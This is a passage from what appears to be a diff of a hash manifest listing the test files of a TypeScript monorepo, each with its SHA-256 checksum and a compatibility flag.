"packages/ui-server/tests/ws-turn-id.test.ts":{"sha256":"8cadfaff15059fd152b7a73ab1f3f9456ed3a68ba581900798613639cbb1f669","compatible":true}, - "packages/ui-server/tests/ws-turn-journal.test.ts":{"sha256":"35835ca61c79dcd4b8414c89c4349629dfeba7e0632a044cd8cdd4bf16772213","compatible":true}, - "packages/ui-server/tests/ws-turn-temp-promotion.test.ts":{"sha256":"50c801f53246c8ca3d7845b25ea526ae40f6f11a2cfa2f7aff2a58c1e84e6f2e","compatible":true}, - "packages/ui-server/tests/ws-web-access.test.ts":{"sha256":"be34b21b8fd2e057116c429b3ec9f082d792fcbe812f9485c63baa13ee36c43b","compatible":true}, - "tests/answer-suggestions-targets.test.tsx":{"sha256":"bc7f9a26aaa1e178d42e78f045006371e4c67c73e2ee430cf01c1792db0f2eae","compatible":true}, - "tests/api-surface.test.ts":{"sha256":"b5108669af67c12810eeca0d80bdc27d335672d425ad0825b84acf22425e7fd3","compatible":true}, - "tests/artifact-screenshot-retention.test.ts":{"sha256":"9a4c35bfcbf06e7faceceb21e4a11bb515d452c7d094717fa545bc1c49c0463f","compatible":true}, - "tests/ask-user-rank-adapters.test.ts":{"sha256":"0e45c017eee59fecbd882178d5280e8acb2e7e5f4d657b6404d7159806f0f0fc","compatible":true}, - "tests/audit-fix-provider-claims.test.ts":{"sha256":"4b5eb741a96e9fa8552ffe510e54937434548c31f9189e8d6f1af848ca4f9148","compatible":true}, - "tests/audit-fix.test.ts":{"sha256":"1b9579c763be7836dc722f6e1cf8397730867f8ff7f35c5c1043bade82bd3c11","compatible":true}, - "tests/audit-provider-completions.test.ts":{"sha256":"846ed3bf8704ad11fd9e6d53a582b4ff623303d30db10e3540f77881aa4018ad","compatible":true}, - "tests/audit-shipped-capabilities.test.ts":{"sha256":"93f203a07e18664a2ab72c750bee7a4b0ee57025669d3a7d432a496ada1b6827","compatible":true}, - "tests/autonomous-app.test.ts":{"sha256":"b8eb81a1e3d8acca7b330cceee202397612e25140c7f4c877e8fbd248833b043","compatible":true}, - "tests/autonomous-containment.test.ts":{"sha256":"449ff5259454278ce00e8f6e92a058030381129e9dd490607e4e97f673283973","compatible":true}, - "tests/autonomous-dispatch.test.ts":{"sha256":"37fec1bc6a060cdde334e0db8cb432a1f1c08f24406ec8145b80d528c6f36731","compatible":true}, - "tests/autonomous-runtime.test.ts":{"sha256":"bcd87585c1e57eeef5ea5e98aaa53618fe2fb9c6331a545671d1277dfffc916a","compatible":true}, - "tests/bin-modes.test.ts":{"sha256":"57fd14483fcde1b32b3f164c5e784cef1ef360c9edeab25b7a009f7d2b9f6eba","compatible":true}, - "tests/brain-db-contract.test.ts":{"sha256":"5f5b98b04bdf76ee988e81b193a448c68c4347f97edf2a5ef8e0ef60207357e0","compatible":true}, - "tests/bridge-tools.test.ts":{"sha256":"603e5741ba7f126724ca6c61734b1f3adc63f0ffef1f8eb1f4b8210d8408505a","compatible":true}, - "tests/browser-determinism-container.test.ts":{"sha256":"db6732160ce3040b6b1a9095b4ca99c548ff1798c8eb3e4800c0e16b79eb70e1","compatible":true}, - "tests/browser-determinism.test.ts":{"sha256":"a7f2dbc1f2e1a02113e23852a21d23f844da269d9fdbae13fc93aa6222a01930","compatible":true}, - "tests/browser-image-pin.test.ts":{"sha256":"7224066f8bab891d3bf918edf781ce85d1ef96e297db7f2b4319f920e39bb74d","compatible":true}, - "tests/browser-input-closure.test.ts":{"sha256":"07937c2ebdea0d258808b0e727117ffb369662ab79947761a156c94d78471ba8","compatible":true}, - "tests/browser-inventory-process.test.ts":{"sha256":"732d3c77c913ef063054657f81df534cd36717cfb33cf54051e6e2d51b99e619","compatible":true}, - "tests/browser-shards.test.ts":{"sha256":"f27f3e3916fe5fe32cd8b1545e77db836031465221e75dd2f6388410f5ed9061","compatible":true}, - "tests/browser-worker-boundary.test.ts":{"sha256":"dd2bda9b41254cf5d4efcd07f0c4a2c21cb8a36fc308ba870fe377ed74001f78","compatible":true}, - "tests/build-concurrency.test.ts":{"sha256":"55412dc57ba3f528d89a780f6fe9dcb78c605ce01cb83d4cee91a905a2e6c10c","compatible":true}, - "tests/build-freshness.test.ts":{"sha256":"cdc694891542a6487b9951c7e5133dd46c4196a7c2dd70f9c9d0b15615a5773e","compatible":true}, - "tests/build-repeat-observation.test.ts":{"sha256":"f5d31cd182fcc7204771bbd3ec3b5c77025be273d2e336b94c7c59212a8b67cc","compatible":true}, - "tests/build-selection.test.ts":{"sha256":"b9d440110c0c04ffcfd4d4abc14a154b6b5f5cfe61fc76f6ded227f5a4f775e1","compatible":true}, - "tests/candidate-admission.test.ts":{"sha256":"582e18af9501554bbc6a7b34cf91123488e4213eb4a2c4d2d3a1edd65b4c952b","compatible":true}, - "tests/candidate-proof.test.ts":{"sha256":"737b444fe44201e3c103453b3d0d507ab416e892c0bc507d1c8c900cd60fb6fc","compatible":true}, - "tests/capture-hash.test.ts":{"sha256":"ec26f4973dc6595a8229153a339e12fd5b2c43864f77be6d964e9a9d2509ab00","compatible":true}, - "tests/changed-unit-workers.test.ts":{"sha256":"3b02e25039172bdf5fe07685ca128ea4a9053d42a86f896c29231d89024069ac","compatible":true}, - "tests/changeset-gate.test.ts":{"sha256":"087607bda61182d6a4449f007e6f362f4757f1018986363bc13599986930c785","compatible":true}, - "tests/check-dist.test.ts":{"sha256":"5f7079aad900de73bf1d7b91f2c45010fb7e7ac8972759bb6143393fbd881631","compatible":true}, - "tests/check-receipt.test.ts":{"sha256":"a0ef2421fd9196add6860f0c3d7e8432dc0f0f033b196b40fdf981fa17010c62","compatible":true}, - "tests/checkpoint-reader-controls.test.ts":{"sha256":"359939efbd29c2b023724c0dbad2df69413a012167b2180c9129471bba4632d1","compatible":true}, - "tests/ci-archive.test.ts":{"sha256":"99a74639e9d259dca7b69ec2992db33a26a9bf1ecd6990d7fc654629d277e3c2","compatible":true}, - "tests/ci-build-boundary.test.ts":{"sha256":"56c1f492b4f6ecbea4e83e06c6032672830078d1abd0f65260fa21ab796b3643","compatible":true}, - "tests/ci-build-consumers.test.ts":{"sha256":"4398158cf3dcff50bf4598328da83ef83956074d4db9ba73bf36472555c24f05","compatible":true}, - "tests/ci-build-context.test.ts":{"sha256":"f96500a6e17911f084fda23330471ab3f14c2b5b93bed18f741e0edc660f4375","compatible":true}, - "tests/ci-build-evidence.test.ts":{"sha256":"39484bc8218db27473ae2ab635ddd472187c0d08cd461477b95268345e1971e1","compatible":true}, - "tests/ci-build-files.test.ts":{"sha256":"fd16348ae7f53b92aa4813440ec1be8a663228e9260b54ba1ec2336d4afd42c0","compatible":true}, - "tests/ci-build-lifetime.test.ts":{"sha256":"6d029ac24e215172a102bf968ee78ebda703e5ff607dfcd76237dd99a7c69446","compatible":true}, - "tests/ci-build-qualification.test.ts":{"sha256":"cb86c848ecbe4d63b97bb6cc7d0f9b8c38093ad0202a5a05f897f94b19fbaa2d","compatible":true}, - "tests/ci-build-state.test.ts":{"sha256":"f36c68509e9fefb95f5d56a43c927e73a7846eea2b0f38e36603a90aa8970252","compatible":true}, - "tests/ci-disk.test.ts":{"sha256":"6fc651d58c998bb7c2d44a724f38ddb22546f6b3869c6aff9dacfd52f4fba830","compatible":true}, - "tests/ci-epochs.test.ts":{"sha256":"936ee1249a73bdbfb9137c4b9b4fbac337a248a30cf326eb9d3d1fd89911dd2a","compatible":true}, - "tests/ci-event-publish.test.ts":{"sha256":"e3160624733442a3798af8e1b28839d9f39f3e6b80defbe158d2625bd523e67d","compatible":true}, - "tests/ci-evidence-report.test.ts":{"sha256":"e262c28430ef773dd91bcd2132af766a4aa12d54e1eb40ef6245882eed1a4793","compatible":true}, - "tests/ci-pack.test.ts":{"sha256":"42f72d4cd4f866fa48105367d99985ffefa120b6a7cac0ec5cf1af977f44e67e","compatible":true}, - "tests/ci-plan.test.ts":{"sha256":"ac413565a3c0cb4398c04e33b127d3c01e32c7ca1be656a402491f6fdd3c45c3","compatible":false}, - "tests/ci-red-main.test.ts":{"sha256":"21af6b6dee62d1be682b33b6b321ef2cd4a5296f377aae192f5742e51e29c733","compatible":true}, - "tests/ci-runner.test.ts":{"sha256":"92102b6043ec561c098fdc2cb862cccbeed2d535b4dd972909f11f609b2c86b2","compatible":true}, - "tests/ci-throughput.test.ts":{"sha256":"ee380795d993761b1586c94f32175c6042245d6ba81676a76b0d8d055e2fa895","compatible":true}, - "tests/ci-timings-collection.test.ts":{"sha256":"a17ba2a73b50228ac3ca244876934ef84bc6fbe49dd004d9bc165da2c284507a","compatible":true}, - "tests/ci-timings.test.ts":{"sha256":"26bf3a49ec7dcacd362b8c395fad3ae99eb41881f059a8faaac91720b024a4ac","compatible":true}, - "tests/ci-workflows.test.ts":{"sha256":"6c4971598118123fc83e70ac4516017eaa7d2436b79149c3febba32087425345","compatible":true}, - "tests/claude-title-provenance.test.ts":{"sha256":"3db8abc829a8015022f266906bf127d39d9bb1b61a305eb60c9d2279209d8678","compatible":true}, - "tests/claude-worker.test.ts":{"sha256":"5ecb0675192b0906256e355b18349b27ac5a7392220d15e1153b47e23988d8b3","compatible":true}, - "tests/clean.test.ts":{"sha256":"7edfbc4dfe63b927670b3eb8ff438b562348d9e12a05b92a49000124d065b785","compatible":true}, - "tests/cold-browser-discovery.test.ts":{"sha256":"a8b4fc2c42e180e855013b79e9d22085370e8336c5bd2e02d48bafdfc8249cc3","compatible":true}, - "tests/collector-inventory-variant.test.ts":{"sha256":"02a36d4e9f348b2411cd7706e40772f19941799a3e1f325a7995861314464a07","compatible":false}, - "tests/collisions.test.ts":{"sha256":"7a84c3e4a0ec302b26a5feb096f2591d89bae26412d6400670c71e5931137a49","compatible":true}, - "tests/compute-tool-contracts.test.ts":{"sha256":"99996fc50f01eb2d0706889ed3489f1dfbf206fb196e5c912be185b443f9a63f","compatible":true}, - "tests/configured-module-paths-cli.test.ts":{"sha256":"6c729a577ef6929596089ba9bcd75db775de52b918adbea510de3e782c4ab6d1","compatible":true}, - "tests/content-index-queries.test.ts":{"sha256":"f3166cbda26d06d24eaeab78409196255ac9da28b3d181e8f12d7dbc0467d89d","compatible":true}, - "tests/contract-gate.test.ts":{"sha256":"a071ef5604efd63b52e3513d201eb5c998c62a460cf6a21418d61cdaae563485","compatible":true}, - "tests/decision-citations.test.ts":{"sha256":"152d82e2d93bf822638fd49f91d5d88f25a4309bfc9045d2523a26de787bf3a3","compatible":true}, - "tests/dependency-edges.test.ts":{"sha256":"5675b119ab5019765a97fe0d4513ac3f5b023be1fddc087bc4c15a7d1775f7e5","compatible":true}, - "tests/design-system-tokens.test.ts":{"sha256":"dde9202b5d9ee1350df73947f31474b9a9c68b2d25cdf9a5b094e1956445f634","compatible":true}, - "tests/diagnostic-install.test.ts":{"sha256":"f1539eeb591f03b417011ddf6b55111a5d8742385a2529d9e204545b2797b3ca","compatible":true}, - "tests/diagram-export-boundary.test.ts":{"sha256":"1fefb9347aff746eaa147069501ddcf90963e2618cd7f29b0c387e945a260bf8","compatible":true}, - "tests/diagram-export-installation.test.ts":{"sha256":"7fd5ff6137cb7c5b84402e253c214e7fd92e2d3641dd546ea6f52a87a873fb45","compatible":true}, - "tests/diagram-export-source.test.ts":{"sha256":"385284053fd6d5196e71a7f9216d1f1f92df7ca958e1115a610cf169456bf3c0","compatible":true}, - "tests/docker-bind-stability.test.ts":{"sha256":"99bde2599660d63e5cbcfab2e96ec449b32e55f05d41561c9a6d8f4097c511da","compatible":false}, - "tests/docs-citations-runtime.test.ts":{"sha256":"9db2c0fe23ea44f873406943dcbfe417690c8e49ea52c9f416993d318c3eca2c","compatible":true}, - "tests/docs-paths.test.ts":{"sha256":"ff01c9aa96395c59492d768f472235de907d1086f7866be8c5fb78b4395fd66e","compatible":true}, - "tests/document-render.test.ts":{"sha256":"9b83b9c7e260e4e7c41b0082cde3de3f22d1d2d36d208241664617bda20deb5a","compatible":true}, - "tests/dom-global-restoration.test.ts":{"sha256":"461a0d85bb2b29a6de7ee35ec70f7d4a11322c5530fd341d41cc044884dced27","compatible":true}, - "tests/egress-first-party-paths.test.ts":{"sha256":"03b7bacf565677ab41999725937eba71c2855d84c136bf0f21ec4df1762b8fbe","compatible":true}, - "tests/env-parity.test.ts":{"sha256":"775fa322120873d23ac6ea833083e9d157d5eae48e366e91336760ab3e3c5d71","compatible":true}, - "tests/expected-failure-log.test.ts":{"sha256":"18be8f639bde143dc9c9cb5ff683f0f3e465d15d59a2feb620a5b5094385c7e8","compatible":false}, - "tests/experiment-tier.test.ts":{"sha256":"8f7eca2eab00d937ee79776360b7f7be58f165500935faf14c26f4d21a379347","compatible":false}, - "tests/export-links-runtime.test.ts":{"sha256":"dca3074fef87cb7b13243bdce25b0011ea68abccddc11ff9129eb19d5e11c4ff","compatible":true}, - "tests/export-native-rejection-runtime.test.ts":{"sha256":"e1af12a52f484d5362541dc7d45b042b5f0b396d873e0ee2cee5d4509b541005","compatible":true}, - "tests/extra-stdio-retention.test.ts":{"sha256":"22e71a1a402f9e499096902ca4623d0d0e7f22d3bff537e9232d186262aa40ad","compatible":true}, - "tests/feature-capture-catalogue.test.ts":{"sha256":"e9b4d9483fead81b6266d8a05a63a2147acda787eca67ae24aedeb2b42da65fc","compatible":true}, - "tests/feature-capture-output.test.ts":{"sha256":"fbe28b5bcd785e8ce5377c02805a42b684b2d22beb9ffa434c4cdef71da3c532","compatible":true}, - "tests/feature-capture-runtime.test.ts":{"sha256":"ff26ec6496d7130487883696c08d774496ca5280ae523b06c7e07db456898db6","compatible":true}, - "tests/first-party-failure-classes.test.ts":{"sha256":"7d25523a893a1cfe1a4bf0487e9653c9dfaeb37d810d47cafda46c86dd80bfe8","compatible":true}, - "tests/first-party-source-pins.test.ts":{"sha256":"2a145e64f99b5ce26e179f942025d05fc2153d0048a8c64e3ab27891e0ff9129","compatible":true}, - "tests/font-cache-binding.test.ts":{"sha256":"7df47820cbab0f71d23ae5c58ebcafe41ff0660abd0211ad5f5483fdaafe2155","compatible":true}, - "tests/frontmatter-parse-gate.test.ts":{"sha256":"0187e16c2a20c4f233a7399db57a0e38e6bcc6b9811369aad61f6e6819afe2e6","compatible":true}, - "tests/generated-audio-input.test.ts":{"sha256":"f798eb0a3129534ddc10e01b9a0ccdce5dc5534d75399ba751f80cd9e981b661","compatible":true}, - "tests/geo-render.test.ts":{"sha256":"de4d68a0bd48c87bcc794fc95c25827826cb4d9992d515c93feeee0f36ac2a69","compatible":true}, - "tests/haiku-model-selection.test.ts":{"sha256":"e8cfabd84e409bf9835ab4766f12392e552645373d4ecdb2f5c0912d4cfffc20","compatible":true}, - "tests/heavy-feedback.test.ts":{"sha256":"ad594e767cdebfac084b3299909128b0008b740782ce17d4efdbd543251971c0","compatible":true}, - "tests/host-admission.test.ts":{"sha256":"8676f2ba98ac3c0f9637696b46b859d372fdd1b929bb49106b271c5af96bbe2f","compatible":true}, - "tests/hosted-proof.test.ts":{"sha256":"fbd91d65cd32a16e5c8f64ed61808a23efa0d39b13f7554f677e010f23497f0d","compatible":false}, - "tests/hygiene-failed-check-retention.test.ts":{"sha256":"7485c7c8f8696b13bfbf5630d20e3edb21ae73361790ffcaaa81fc6f131c230d","compatible":true}, - "tests/hygiene-fixture-cleanup.test.ts":{"sha256":"e19b791bc407e85ab5848d3ef7fa02e8da83ecb06fd78e9cd655169595259ecf","compatible":true}, - "tests/hygiene-reconcile-shipped.test.ts":{"sha256":"966d8a4ce6c8dbb60ef1000ef519204fcecb9164fbf7eaa7f401cee15cc921f1","compatible":true}, - "tests/hygiene-screenshot-retention.test.ts":{"sha256":"d52dbb48112fcf4f395d699074a6ceac28f1f8a3dd81984a2fed04c5486104ea","compatible":true}, - "tests/identity-native-fixture.test.ts":{"sha256":"a30e820854ad37aa79a8430e000bd707855dcfcc0076b30c8b3fc0932766d930","compatible":false}, - "tests/inbox-actions-stream.test.ts":{"sha256":"0442fa0eacabc205861086d0c669586fbff11481ac596756f847e2fead8f980b","compatible":true}, - "tests/index-query-consumers.test.ts":{"sha256":"6275842babce6188e8dfab85d51c92a87fa50287183ccb9097ad5a8cf89364c9","compatible":true}, - "tests/inline-containment-gate.test.ts":{"sha256":"2aeaa803acea9bc83c09b97d477e1e0afa16c8c122c49668670065f0063d06d4","compatible":true}, - "tests/installed-turn-surface.test.ts":{"sha256":"60b63a0605c28b48ae4546b8ef96177a30078a33fd94b1de33c9abb7ac1c113e","compatible":true}, - "tests/integration-command.test.ts":{"sha256":"780ef966192fa9ac307e81b31ae4492db002fd0f867e7b5bf057e62cc585b932","compatible":true}, - "tests/integration-proof.test.ts":{"sha256":"65c0c7887a23948fd6a9ba6dedc55645d33066784740422ae053dc9ff00f59e5","compatible":true}, - "tests/integration-reservation.test.ts":{"sha256":"392b17d903aaced01df6004c6b7c0c74f604806e8dd7d632069a5c61cfbca9b6","compatible":true}, - "tests/invisible-characters.test.ts":{"sha256":"88ee620a572cf4c1d8298c7d5b78eb3c37c1ee1fc5986672f67038a5c7abf973","compatible":true}, - "tests/jev-research-outcomes.test.ts":{"sha256":"9c9912eb3ed2bccde50a2e7bb08fcd5e53c27e6d3b89ad77231ac792b97e197f","compatible":true}, - "tests/job-ingest-scoring.test.ts":{"sha256":"74c7ec96eeb8b0dfc2484a767b583bef12f372835da51739b9e707ef06b5d553","compatible":true}, - "tests/kit-purity-gate.test.ts":{"sha256":"df830071fe823a1908a9d8db899e6b4cc7c8ba642cfd29532e19d5a3abe94cec","compatible":true}, - "tests/label-completion-provider.test.ts":{"sha256":"6b181e666e20e09d6b3b25870efc85bbf0f12bb9d8445a7299f0a7f17dd1dce9","compatible":true}, - "tests/labels.test.ts":{"sha256":"8e81aa508393cca674793fc1df63cce3a0fff64eb018b37158f03c6d82569374","compatible":true}, - "tests/layer-direction-gate.test.ts":{"sha256":"85b257fdb3b6883288dc672997c61075a092e18ecb6022c510892a06fdcb1c98","compatible":true}, - "tests/leakage-gate.test.ts":{"sha256":"b4f54933b550c0fcd5d5d5310351ff21ba55a6b1728bce25fd51a051be5eb7eb","compatible":true}, - "tests/local-checks.test.ts":{"sha256":"4c4ce2fa47fa4b29257ae224276284ffcc914e8c8335ebeb5b256519b9338bc5","compatible":true}, - "tests/lockfile.test.ts":{"sha256":"bd70d6035c084cd95698994a78d88de19f568cddac39eb6f7a94609c2f78a254","compatible":true}, - "tests/manual-only-skills.test.ts":{"sha256":"345570fd4402d12f057385a3eb8824b8a610538fc7f06bda534417d872fabe71","compatible":true}, - "tests/markdown-anchors.test.ts":{"sha256":"358a81886d4ff6bef29f840ac14dad8ede797190cc27e88353144b68f75b257b","compatible":true}, - "tests/measurement-fixture-lifetime.test.ts":{"sha256":"3ac1815009dec2e5f0753a1a0ac1f4f8d2e77d7fb6eba2304704e87666b22d7d","compatible":true}, - "tests/measurement-isolation.test.ts":{"sha256":"29870300cbd4d2238a1f27c9c38a4ae5948ccd8f296b13b0625f8fe142e6c8c5","compatible":true}, - "tests/module-hygiene-queries.test.ts":{"sha256":"34b259d8f8236e0f8b771ccf23024e15ed7a97f92509f49ded76dbad8d518639","compatible":true}, - "tests/module-public-imports.test.ts":{"sha256":"e392ecdc02ed7954c17701c685d9e237531874559bdb2bdc22540bed062b33c2","compatible":true}, - "tests/native-admission-timing.test.ts":{"sha256":"49a9f193eedb4d14ac5336969b131d7b91a28f30f7cbad5170de3ce7d469bfaf","compatible":true}, - "tests/native-dead-root-trace.test.ts":{"sha256":"b5724d32e5492577d3eac545a900bd7f26ab535fbb0ee058fe34beec173cc8af","compatible":true}, - "tests/native-diagram-retired.test.ts":{"sha256":"54f7f48ed9ed07d10a048674d180ded333f46e6c5520fde347394540db82660d","compatible":true}, - "tests/native-event-log.test.ts":{"sha256":"e3a95b2630ea386c38ac960df03c5238205bdcc8e635565aa8af9295c80ada16","compatible":true}, - "tests/native-lifecycle-timing.test.ts":{"sha256":"7060e58530385098a081b23a4ea30b9600031b7cd65a6cf4feecaa58bb2d0bd8","compatible":true}, - "tests/native-observation-phases.test.ts":{"sha256":"1fe70b3492cc47a9844d57c6b1b5238ff8d2877931021349f269455da6d5e6d5","compatible":true}, - "tests/native-observation-tree.test.ts":{"sha256":"012ae71c1df95f482c1d23f31114bf735b27dbf4ca5fbcca7f4ba700d1046452","compatible":false}, - "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, - "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, - "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, - "tests/offline-runner.test.ts":{"sha256":"49eeac0500c31ff8de30f9acf9cc0a91f3791e77ccd782d490d4b45b2d2d9c38","compatible":true}, - "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, - "tests/offline-unit-identity.test.ts":{"sha256":"a74d78620e82120b9daa6b210dc36c90a52a146daa8c18d05455f9426e298131","compatible":true}, - "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, - "tests/owned-loop-evidence.test.ts":{"sha256":"b15f2ddabbb52d9b5c2d94bc21529cc32df79f5ce30d7d498a2e667a6aedd348","compatible":true}, - "tests/owned-remove.test.ts":{"sha256":"7a911ef3850bdbba1b4a100dc2ce947aa1e8ee2db11fe450887452239572389f","compatible":false}, - "tests/pi-endpoint-routing.test.ts":{"sha256":"22289f0736d2d15ec1f1a5f30c18b7346a00aad2048332eefff2377f5048d2d1","compatible":true}, - "tests/pi-worker-runtime.test.ts":{"sha256":"b1b8a027cd27e891a547c00c2206ff17ca0d8a767ae44ef80a368222f48cb6ff","compatible":true}, - "tests/planning-observer.test.ts":{"sha256":"3be06da07f343fc73cdd9153a4283d319466227ff2c0451be36ca639f63b89e1","compatible":true}, - "tests/policy-write-boundary.test.ts":{"sha256":"31a25cb6702dbb4849af8b77da8da7bea21491c1558d69b0504599aef6fa4fdd","compatible":true}, - "tests/process-command-proposals.test.ts":{"sha256":"a043651cb8256e2c7f4126bebf41cceeee825185db95be03766c5753dbb1c92a","compatible":true}, - "tests/project-blockers.test.ts":{"sha256":"45a6733b758e25de116423a7348b7703ff4956a6398bb03ef01ebb75bb382c94","compatible":true}, - "tests/project-status.test.ts":{"sha256":"87e85121039d26cd4bae5722f53951f015de0f7ec9de431fb0ba549b8ae78dbc","compatible":true}, - "tests/project-sweep.test.ts":{"sha256":"29f118ff44c860a551c517cc2f950d88256d3d515b6e55506118f9097a93894f","compatible":true}, - "tests/project-sync-guards.test.ts":{"sha256":"87bbc6d6ec0393120f2419cac4779facf32390677d70351cbebb7bfd2ce707c1","compatible":true}, - "tests/project-sync-item.test.ts":{"sha256":"56940b4830b6fea7382d595067b8b226a2a4f7dc1a722e5eea0217f8ef5fd7ff","compatible":true}, - "tests/project-sync-main.test.ts":{"sha256":"c1d2155842353ccb35d632dcf317350fca3385f4bc298a688154c8a473f89408","compatible":true}, - "tests/project-tracks.test.ts":{"sha256":"91ed91eb315232e478bea28ccd9101c0155e8e5fdd05ec64c31e5f3f4c0eb4a6","compatible":true}, - "tests/proof-case-report.test.ts":{"sha256":"e7fbe5405cab8d5a243d70cc557edf84878f7d15805ea12dcaf385e790546fed","compatible":true}, - "tests/proof-inventory.test.ts":{"sha256":"0f133a2a1ddf9aa1f83bcdbb1f3965c9dce6f9f066bca27ffe45a48f3b21ed54","compatible":true}, - "tests/proof-system-lane.test.ts":{"sha256":"c902b2c57d2c202e2952c3e5de916a813a9f34b36845a6cd98b5114acc2cfae5","compatible":true}, - "tests/proof-system.test.ts":{"sha256":"67c6e57726d2964a91584569489e960ad5a5871cf60b6e69c3fad1812b0712e6","compatible":true}, - "tests/prose-links-render.test.tsx":{"sha256":"ae056f3db381ae0b4eb933c925f37ca91882819dbbaa07501adc12d0320a1eca","compatible":true}, - "tests/provider-history-host-authority.test.ts":{"sha256":"65f0ebb9c9feb9e8d194bcf2dbdfe88e67c9abb9e5537dd0f9040097f06cb20e","compatible":true}, - "tests/public-docs.test.ts":{"sha256":"17884b8a94f9c62a097363d59334c222c1dbf8d3f9f09400ff23528e2756113d","compatible":true}, - "tests/raw-buttons-gate.test.ts":{"sha256":"f45c9a41c7112755d8d0e76af236ed30d912c8eda43ced56c31ba2a6e1211a45","compatible":true}, - "tests/red-main-expedite.test.ts":{"sha256":"84bd9c5548a289adc8e539fa9014c9f5024b7de8478dcf58e7461c3dce527a2a","compatible":true}, - "tests/red-main-incident.test.ts":{"sha256":"325bdcea754d99964c7d8ad558ef5832fa2b090801ffa5311ebf56be2b357df3","compatible":true}, - "tests/red-main.test.ts":{"sha256":"8409c7d2d527aa12ab0036f89a2976a1d14d46964bef4ac4f2afddaea7e0b5ab","compatible":true}, - "tests/reference-worktree-allocation.test.ts":{"sha256":"3089811e578ced594e7e3335a873016421179245d111bb46095edc7ac32a20ac","compatible":true}, - "tests/refresh-browser-costs.test.ts":{"sha256":"f42016e6dc7dd409c5a32132443e0c8b4980fa049e44f912fc92cb771a6660f4","compatible":true}, - "tests/refresh-unit-costs.test.ts":{"sha256":"7087b46e71787ecc477f2221016e0d135292195adeeae48f097bb23279c17d4f","compatible":true}, - "tests/release-manifest.test.ts":{"sha256":"9823dbee62b4f2e5b7a60af0b5f9e6352675f047fab749b3f4b08000e8f395b5","compatible":true}, - "tests/release-resume.test.ts":{"sha256":"a67ee95dc001482ee7b69cd576238d4bc2905658c0656c2e549da13a7569a63b","compatible":true}, - "tests/request-replay-lifecycle.test.ts":{"sha256":"24eedacc3e409fefa24a64dd42360bc847b1e2d89244b9f80b453e3e5e6d1c78","compatible":true}, - "tests/reverse-geocode-env.test.ts":{"sha256":"da1720d2e5368fb717a6803e84aaf87eb9fba10c41015694f57fec6ee20341eb","compatible":true}, - "tests/review-receipt.test.ts":{"sha256":"baab7edac3e38f9519b00aff94b5f1fac328795d3c3ac19f7a3cb61109147f44","compatible":true}, - "tests/root-stores-gate.test.ts":{"sha256":"796590eadfbc790d49672ba29f6c9d88ad43fc5d56571d166c49ffcc82d1d467","compatible":true}, - "tests/runtime-build-selection.test.ts":{"sha256":"de8c71c9a145e5949b60ac64e3dcb54bfca7de370b1ed3bbbda8b5b7d18b31a1","compatible":true}, - "tests/seam-list.test.ts":{"sha256":"af3a18c156ecf3e0b3311faebe3cffbfbf4da61f9e20ce7edeeb37ad55d9fbf9","compatible":true}, - "tests/search-result-tags-adapters.test.ts":{"sha256":"0958184371e9cced5be249f740961b924b6b493d2ac2b72fc08ca6ceb5b1d0be","compatible":true}, - "tests/share-render.test.ts":{"sha256":"c6211f1190750d21f66bae2f65e0311c83e20f31252345c1d12a3008060cf7cc","compatible":true}, - "tests/shipped-claude-runtime-pin.test.ts":{"sha256":"6f4b8a53d4a8355ac1fa593522e779113baac2d19cf22daae56bda2f1b79f496","compatible":true}, - "tests/shipped-skills-lint.test.ts":{"sha256":"5bca537adc41b3b904b320fc1a2193fa3365d7b8e986116b9120c1d829f2197f","compatible":true}, - "tests/show-block-schema-forms.test.ts":{"sha256":"7bd12a0ee85002c7c7f7494e6417fc1aee950093b50efa385791fc27abc631d4","compatible":true}, - "tests/stats-answer-render.test.tsx":{"sha256":"33a77fe7fa697bd4b31ba64b70a328a99ad0375039a1388d6df9fc6e10f960a8","compatible":true}, - "tests/subscription-completions.test.ts":{"sha256":"0657c536c1260cbe05d44b26b697277c44011e81f4899a739104e23a053053a5","compatible":true}, - "tests/suggestions-strict-input.test.ts":{"sha256":"7daf909e21f500bc0ac1eded117ba146d98e4048b45d43404e9ea8fda407ad94","compatible":true}, - "tests/tag-alias-writer.test.ts":{"sha256":"47c4adf9b1af81f6c5e0e8e6c9084c1a8e4da86bdb8586eae15703544b3fa4c9","compatible":true}, - "tests/template-eval.test.ts":{"sha256":"60704df4a04ed10d4e7eb3b3adda737b2c5455bc5656860ae1ea0c392c24d8b0","compatible":true}, - "tests/template-leftovers.test.ts":{"sha256":"21dffceeea3f80a32198a501189c5d7607614afbe397025b4a3cb3dae6769a9f","compatible":true}, - "tests/test-deadlines.test.ts":{"sha256":"f254db058792f472b1d52009920b2b03c82ef87d26bc049b2b2e520be0f4db77","compatible":true}, - "tests/test-determinism.test.ts":{"sha256":"818b1f881766123c27544236add33ad1e54f213140a2f4dbc345adc314986629","compatible":true}, - "tests/test-git-maintenance.test.ts":{"sha256":"e9e452701ac651e53904947f0724cf2c2d54966df5390c477a1d518d17acffef","compatible":true}, - "tests/test-home.test.ts":{"sha256":"00d9f1744166488f4c9bcc4c2979fbb625b659143311135d20e5280bbcbb8095","compatible":true}, - "tests/test-invocation-child.test.ts":{"sha256":"a40863f1af20c72f084869df5b89a0862003498d67383e15ecc0d923da19b8bb","compatible":true}, - "tests/test-invocation-lifetime.test.ts":{"sha256":"10c7f7cfc061551b65f3b82d3933f4ebe541c130f6abb92e3f6cdbbce472862c","compatible":true}, - "tests/test-invocation-workers.test.ts":{"sha256":"2091d99c06c1c09371ccd29f7d33ef27353f344057de5c0a14549de156f424e5","compatible":true}, - "tests/test-invocation.test.ts":{"sha256":"01cc0a17203a9b3c92d5595c8c8770ebf3a39368fda95dddf98961ce8d9d373b","compatible":true}, - "tests/test-network-guard.test.ts":{"sha256":"d64581f4432797c4a018db69db79a93edce71538ce9d62a35265b6d46dc2b37c","compatible":true}, - "tests/test-script.test.ts":{"sha256":"312a7ee94f46a4d56478394750b985945c567dc85093ad1eb0d08ca3d10e025a","compatible":true}, - 